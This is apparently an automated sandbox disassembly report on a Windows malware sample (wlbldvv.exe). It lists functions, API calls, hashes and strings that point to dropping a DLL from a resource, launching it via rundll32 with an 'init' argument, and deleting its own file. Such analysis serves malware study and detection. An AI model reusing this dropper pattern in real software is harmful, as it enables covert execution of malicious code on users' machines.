Opcode ID: 36ddf7c9e64948429ea50c594583730548552646f732539940beb09dbb1102c1
Instruction ID: 37251e203aaafb338411583485349c6a70529d6897f4196c911f470311200aa0
Opcode Fuzzy Hash: 36ddf7c9e64948429ea50c594583730548552646f732539940beb09dbb1102c1
Instruction Fuzzy Hash: 8D6110B46083818FC300DFA8C884A1AFBE8BF89704F508D6EF89597350C779E949CB56

Function 00402850 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040286D

Part of subcall function 00403F80: 6CE59A60.MFC42(?,000000CB,00000002,00000009,00000000,00000000,?,00401F36), ref: 00403F92

6CE1EC00.MFC42(?), ref: 004028AF
6CE1EC00.MFC42 ref: 004028C7
CoUninitialize.OLE32 ref: 004028E3

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: InitializeUninitialize
String ID:
API String ID: 3442037557-0
Opcode ID: dea62da469005834a17dcaf4a989a915fdff2ae1d3d4b724e7fed293f5c704ef
Instruction ID: a6f7315796581bb2d5abe88462ee4dad0f4ce63d180d3def42c8f6836305b1d2
Opcode Fuzzy Hash: dea62da469005834a17dcaf4a989a915fdff2ae1d3d4b724e7fed293f5c704ef
Instruction Fuzzy Hash: 5F1190B0504341AFC300EF64C909B4B7BE8BB88714F044A2EF899A33C1D7789904CBA6

Function 00403FA0 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

6CE256F0.MFC42(?,?,?,?,?,?,?,?,00404838,000000FF), ref: 00403FC7
6CE59A60.MFC42(?,?,?,?,000000D3,00000002,00000008,?,00000000), ref: 00403FE5
6CE1EC00.MFC42(?), ref: 00403FF8
6CE1A420.MFC42(?,?,?,?,?,?,00000008,?,00000000), ref: 0040400E

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: A420E256
String ID:
API String ID: 3523497125-0
Opcode ID: bab0631a7cd3f2ee1a1cae18d2b9e26db3f3eb49dea1ffd19132274849109f0e
Instruction ID: b8dc7083480bc4708094733b35e4e89a4a97086a0659bf2509b7bb66655cd5a6
Opcode Fuzzy Hash: bab0631a7cd3f2ee1a1cae18d2b9e26db3f3eb49dea1ffd19132274849109f0e
Instruction Fuzzy Hash: 7B01A9B1248750ABD314EB44C942F4AB7D4AB94F14F40852EF659672C1C7B85904C7A7

Function 00403ED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

6CE12DD0.MFC42(00000040,?,?,?,00404C4A,000000FF), ref: 00403EE9
6CE17F20.MFC42 ref: 00403F03

Strings

0?@, xrefs: 00403F08

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID:
String ID: 0?@
API String ID: 0-4113061678
Opcode ID: 8a7acfc78b9fe263d97fcbbf9cc9dcb08269914006500b81099803699076fa74
Instruction ID: dd62c5200595188f2f15a0fc69b55e0932859a66ba4cda06ce91d8cb1555c2c7
Opcode Fuzzy Hash: 8a7acfc78b9fe263d97fcbbf9cc9dcb08269914006500b81099803699076fa74
Instruction Fuzzy Hash: 2FE092F1A84A61DBD310EF188902B9A7AE4F784B60F404A3EF169E77C0E77C484187C6

Analysis Process: wlbldvv.exePID: 1412, Parent PID: 2584COMMON

Execution Graph

Execution Coverage:	7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	264
Total number of Limit Nodes:	2

Executed Functions

Function 004013D0 Relevance: 37.0, APIs: 14, Strings: 7, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000086,HTM), ref: 004013E4
LoadResource.KERNEL32(00000000,00000000), ref: 004013FC

Strings

%s\%s.dll, xrefs: 0040155E
WinSta0\Default, xrefs: 00401666
HTM, xrefs: 004013D8
c:\windows\system32\rundll32.exe, xrefs: 004015A7
%s "%s",init %s, xrefs: 00401621
c:\%s, xrefs: 00401509
D, xrefs: 0040165E

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: Resource$FindLoad
String ID: %s "%s",init %s$%s\%s.dll$D$HTM$WinSta0\Default$c:\%s$c:\windows\system32\rundll32.exe
API String ID: 2619053042-2457680838
Opcode ID: fdddb39bb3cb725529eaf3ce096bf9552d9a8ba29dd7300b0babee306d9bc285
Instruction ID: 5c017b3d947436da3a79cbd575b5788da6cc5bd4b656b3589a3b64b7cb9d4a99
Opcode Fuzzy Hash: fdddb39bb3cb725529eaf3ce096bf9552d9a8ba29dd7300b0babee306d9bc285
Instruction Fuzzy Hash: DA71E5716083806FD3218B24CC45BEB7BD5EB89704F00492DF6C9AB2D1DAB995098B9B

Function 00401690 Relevance: 27.1, APIs: 18, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CEAA190.MFC42(00000000), ref: 004016B0
6CE25BD0.MFC42 ref: 004016BA
__p___argv.MSVCRT ref: 004016BF
ExitProcess.KERNEL32 ref: 004016DE

Part of subcall function 00401220: 6CE12DD0.MFC42(00100000), ref: 0040122F
Part of subcall function 00401220: __p___argv.MSVCRT ref: 00401253
Part of subcall function 00401220: __p___argv.MSVCRT ref: 00401274
Part of subcall function 00401220: Sleep.KERNEL32(00000064), ref: 00401286
Part of subcall function 00401220: GetTickCount.KERNEL32 ref: 004012CD
Part of subcall function 00401220: wsprintfA.USER32 ref: 004012EA
Part of subcall function 00401220: CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040130A
Part of subcall function 00401220: 6CE12DD0.MFC42(00000000), ref: 00401313
Part of subcall function 00401220: Sleep.KERNEL32(00000064), ref: 00401321
Part of subcall function 00401220: WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00401331
Part of subcall function 00401220: Sleep.KERNEL32(00000064), ref: 00401339

Part of subcall function 004019C0: 6CE50310.MFC42(00000066,00000000,?,?,?,?,?,00000000,004047CD,000000FF,004016EF,00000000), ref: 004019E7
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 004019F9
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A11
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A29
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A41
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A59
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A71
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A89
Part of subcall function 004019C0: 6CE256F0.MFC42(00000066,00000000), ref: 00401AA1
Part of subcall function 004019C0: 6CE256F0.MFC42(00000066,00000000), ref: 00401AB3
Part of subcall function 004019C0: 6CE256F0.MFC42(00000066,00000000), ref: 00401AC3
Part of subcall function 004019C0: 6CE256F0.MFC42(00000066,00000000), ref: 00401AD5
Part of subcall function 004019C0: 6CE256F0.MFC42(00000066,00000000), ref: 00401AE5
Part of subcall function 004019C0: 6CE25A80.MFC42(004073FC,00000066,00000000), ref: 00401AFC
Part of subcall function 004019C0: 6CE25A80.MFC42(004073FC,004073FC,00000066,00000000), ref: 00401B08
Part of subcall function 004019C0: 6CE25A80.MFC42(004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B14
Part of subcall function 004019C0: 6CE25A80.MFC42(004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B24
Part of subcall function 004019C0: 6CE150F0.MFC42(004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B29
Part of subcall function 004019C0: 6CE1F390.MFC42(00000080,0000000E,00000080,004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B3A
Part of subcall function 004019C0: LoadIconA.USER32(00000000,00000080), ref: 00401B40

6CE509F0.MFC42 ref: 00401705
6CE1A420.MFC42 ref: 0040171C
6CE1A420.MFC42 ref: 00401730
6CE1A420.MFC42 ref: 00401744
6CE1A420.MFC42 ref: 00401758
6CE1A420.MFC42 ref: 0040176C
6CE12C80.MFC42 ref: 00401780
6CE4BC50.MFC42 ref: 00401794
6CE4BC00.MFC42 ref: 004017A8
6CE4BC00.MFC42 ref: 004017BC
6CE4BC00.MFC42 ref: 004017D0
6CE4BC00.MFC42 ref: 004017E4
6CE4BC00.MFC42 ref: 004017F5
6CE503E0.MFC42 ref: 00401809

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: A420E256$Sleep__p___argv$File$A190CountCreateE150E503E50310E509ExitF390IconLoadProcessTickWritewsprintf
String ID:
API String ID: 4210571188-0
Opcode ID: c799f09f8497bed147593227bf029dd3053d6bb179ea20caa85db19ddaaaa527
Instruction ID: 616903a36303fad059cf54e446dff4fbed7c69b0abb077ef7505e4f2811fcf63
Opcode Fuzzy Hash: c799f09f8497bed147593227bf029dd3053d6bb179ea20caa85db19ddaaaa527
Instruction Fuzzy Hash: 55315D740093C19AD334FB65C65DBDFBBE0AFE5308F04096EA58D162C2DB785548CA67

Function 004043EC Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 00404419
__p__fmode.MSVCRT ref: 0040442E
__p__commode.MSVCRT ref: 0040443C
__setusermatherr.MSVCRT ref: 00404468
_initterm.MSVCRT ref: 0040447E
__getmainargs.MSVCRT ref: 004044A1
_initterm.MSVCRT ref: 004044B1
GetStartupInfoA.KERNEL32(?), ref: 004044F0
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00404514
exit.MSVCRT ref: 00404524
_XcptFilter.MSVCRT ref: 00404536

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 06df12e95e92e3eb90a3e8b97be51bae533ac44a46cc44ada275256ec1e1c751
Instruction ID: b84817577bdd794c3584b55ee7e6e144752272faa3ca625d9eeea178d453bb24
Opcode Fuzzy Hash: 06df12e95e92e3eb90a3e8b97be51bae533ac44a46cc44ada275256ec1e1c751
Instruction Fuzzy Hash: BB416AB1C04748AFDB20DFA4DD45A6A7BB8EB49714B20027EE651B72E1D7385840CF69

Function 00401020 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 13
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE139C0.MFC42(00000000), ref: 00401025
__p___argv.MSVCRT ref: 00401030
DeleteFileA.KERNELBASE(?), ref: 0040103C

Strings

BA@, xrefs: 0040102A

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: DeleteE139File__p___argv
String ID: BA@
API String ID: 3481026945-333561704
Opcode ID: 262c5416b1a606b217bd8bab8b619a55629c1a105c500f2fded16c866b6fed0a
Instruction ID: aad79171df0669d425ced9ff3ed335880c2d281df381521b8290eacabdbfd62a
Opcode Fuzzy Hash: 262c5416b1a606b217bd8bab8b619a55629c1a105c500f2fded16c866b6fed0a
Instruction Fuzzy Hash: D7D0C9792106118FC7147F58E91DA4A7BA4EF89302B4540AAF601AB3A1CAB498408F94

Function 00404578 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE24ED0.MFC42(?,?,?, E@,00404520,00000000,?,0000000A), ref: 00404588

Strings

E@, xrefs: 00404578

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID:
String ID: E@
API String ID: 0-1021207842
Opcode ID: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction ID: 10c4685e4c1b6a8bdab444a1996e1c4aa9e8657ff44068a67dc80207ca276c8e
Opcode Fuzzy Hash: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
Instruction Fuzzy Hash: 9AB00876018386ABDB12DF919C0192ABAA2BFD8704F484C1DB2A1101A197668438AB16

Non-executed Functions

Function 00401DE0 Relevance: 13.6, APIs: 9, Instructions: 71windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00401DEA
6CE23130.MFC42 ref: 00401DFF
SendMessageA.USER32(?,00000027,?,00000000), ref: 00401E1B
GetSystemMetrics.USER32(0000000B), ref: 00401E29
GetSystemMetrics.USER32(0000000C), ref: 00401E2F
GetClientRect.USER32(?,?), ref: 00401E3C
DrawIcon.USER32(?,?,?,?), ref: 00401E74
6CE230D0.MFC42 ref: 00401E7E
6CE1FEB0.MFC42 ref: 00401E8C

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: MetricsSystem$ClientDrawE230E23130IconIconicMessageRectSend
String ID:
API String ID: 4033561911-0
Opcode ID: d65fc874f4ee7fe65103a4d04c514135e46e03f898aa5041571371461f9f6384
Instruction ID: db773ba51d367e258aaa0001d282ccedd816923d488996b04dffdd7d1b0f9207
Opcode Fuzzy Hash: d65fc874f4ee7fe65103a4d04c514135e46e03f898aa5041571371461f9f6384
Instruction Fuzzy Hash: 62117CB12047029BC214DF79DD89D6BB7E9FFC8304F084A2DB58AD3290DA34E905CB59

Function 00403B10 Relevance: 45.6, APIs: 25, Strings: 1, Instructions: 149
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE3E820.MFC42(00000001), ref: 00403B34
6CE352C0.MFC42(user.ini,00000000,00000001), ref: 00403B72
6CE17770.MFC42 ref: 00403B83
6CE12DD0.MFC42(00000000), ref: 00403B8B
6CE176D0.MFC42(00000000,00000000), ref: 00403B9B
6CE1EBC0.MFC42(00000000,00000000), ref: 00403BA8
6CE18660.MFC42(00000000,00000000,00000000), ref: 00403BB2
6CE3B140.MFC42 ref: 00403BC4
6CE3A880.MFC42(?,00000000,?), ref: 00403BDF
6CE3A8D0.MFC42(?,00000000,00407070,?,00000000,?), ref: 00403BF4
6CE3A880.MFC42(?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C05
6CE3A8D0.MFC42(?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C1B
6CE190A0.MFC42(00000000,?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C2A
6CE1A420.MFC42(00000000,?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C37
6CE1A420.MFC42(00000000,?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C45
6CE1A420.MFC42(00000000,?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C53
6CE1A420.MFC42(00000000,?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C61
fopen.MSVCRT ref: 00403C70
6CE1A420.MFC42(00407200,00407234,00000000), ref: 00403C88
6CE259A0.MFC42(00407200,00407234,00000000), ref: 00403C95
fprintf.MSVCRT ref: 00403CB8
fclose.MSVCRT ref: 00403CBF
6CE3D780.MFC42(00407224,00407234,00000000), ref: 00403CD8
6CE3D780.MFC42(00407200,00407234,00000000), ref: 00403CEF
6CE3D780.MFC42(004071E0,00407234,00000000,00000001), ref: 00403D04

Strings

user.ini, xrefs: 00403B69, 00403C6B

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: A420$D780$A880$B140E176E17770E18660E190E259E352E820fclosefopenfprintf
String ID: user.ini
API String ID: 3186117009-1338118170
Opcode ID: a6a6fb629337a14a19167b81d9b5a2f6b5228c5787a28112ea1f94429918bd96
Instruction ID: 013291e13a0706baa31a3bd6034cca8677a8dde525ade2333a9cb0047f89d752
Opcode Fuzzy Hash: a6a6fb629337a14a19167b81d9b5a2f6b5228c5787a28112ea1f94429918bd96
Instruction Fuzzy Hash: 2C51D7716483809BD310EB15C845F9BBBE4AFD5718F04096EFA85732C1DB7DA504CA6B

Function 004036D0 Relevance: 42.2, APIs: 23, Strings: 1, Instructions: 167
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE352C0.MFC42(user.ini,00000000), ref: 004036F9
6CE17770.MFC42 ref: 0040370A
6CE12DD0.MFC42(00000000), ref: 00403712
6CE176D0.MFC42(00000000,00000000), ref: 00403722
6CE1EBC0.MFC42(00000000,00000000), ref: 0040372F
6CE18660.MFC42(00000000,00000000,00000000), ref: 00403739
6CE256F0.MFC42 ref: 00403747
SendMessageA.USER32(?,0000014B,00000000,00000000), ref: 00403762
6CE1EC00.MFC42(?,?,0000003B), ref: 00403778

Part of subcall function 004039A0: 6CE1A420.MFC42(00000000,00000000,00402222,?,?,0000003B), ref: 004039C4

6CE1EC00.MFC42(00000015,?,0000003B,00000001), ref: 004037A1
6CE1EC00.MFC42(?,?,0000003B,00000001,00000001), ref: 004037BF
6CE3B590.MFC42(00000021,00000001,00000000,00000001), ref: 004037D9
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00404B78), ref: 004037E8
6CE1EC00.MFC42(?,00000001,0000003B,00000001), ref: 0040380C
6CE1EC00.MFC42(?,?,0000003B,00000000,00000001), ref: 0040382A
6CE1EC00.MFC42(00000019,?,0000003B,00000000,-00000001,00000001), ref: 0040384A
6CE3B590.MFC42(?,00000001,00000001), ref: 00403862
6CE190A0.MFC42 ref: 00403871
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00404B78), ref: 0040387E
SendMessageA.USER32(?,00000143,00000000,?), ref: 00403896
6CE1A420.MFC42 ref: 004038AB
6CE1A420.MFC42 ref: 004038B9
6CE259A0.MFC42 ref: 004038CA

Strings

user.ini, xrefs: 004036F0

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: A420$B590E190MessageSend$E176E17770E18660E256E259E352
String ID: user.ini
API String ID: 2156879333-1338118170
Opcode ID: e2a0c54cd5d71bfe7c8f7115dbcc982c8ab97f2cc07cf54eacd2f770ea5d7972
Instruction ID: 54062048f7d8e9c3c5b10c10d2f13be0a112b8bce1456f32d0f06b7dcf1a2bd7
Opcode Fuzzy Hash: e2a0c54cd5d71bfe7c8f7115dbcc982c8ab97f2cc07cf54eacd2f770ea5d7972
Instruction Fuzzy Hash: 8151C6F1508341AFC314EB22C856F5F7BE8ABD5B48F004A2DF655662C1DB789608CBA7

Function 00402170 Relevance: 42.2, APIs: 23, Strings: 1, Instructions: 167
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE352C0.MFC42(user.ini,00000000), ref: 00402199
6CE17770.MFC42 ref: 004021AA
6CE12DD0.MFC42(00000000), ref: 004021B2
6CE176D0.MFC42(00000000,00000000), ref: 004021C2
6CE1EBC0.MFC42(00000000,00000000), ref: 004021CF
6CE18660.MFC42(00000000,00000000,00000000), ref: 004021D9
6CE256F0.MFC42 ref: 004021E7
SendMessageA.USER32(?,0000014B,00000000,00000000), ref: 00402202
6CE1EC00.MFC42(?,?,0000003B), ref: 00402218

Part of subcall function 004039A0: 6CE1A420.MFC42(00000000,00000000,00402222,?,?,0000003B), ref: 004039C4

6CE1EC00.MFC42(00000015,?,0000003B,00000001), ref: 00402241
6CE1EC00.MFC42(?,?,0000003B,00000001,00000001), ref: 0040225F
6CE3B590.MFC42(00000021,00000001,00000000,00000001), ref: 00402279
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00404878), ref: 00402288
6CE1EC00.MFC42(?,00000001,0000003B,00000001), ref: 004022AC
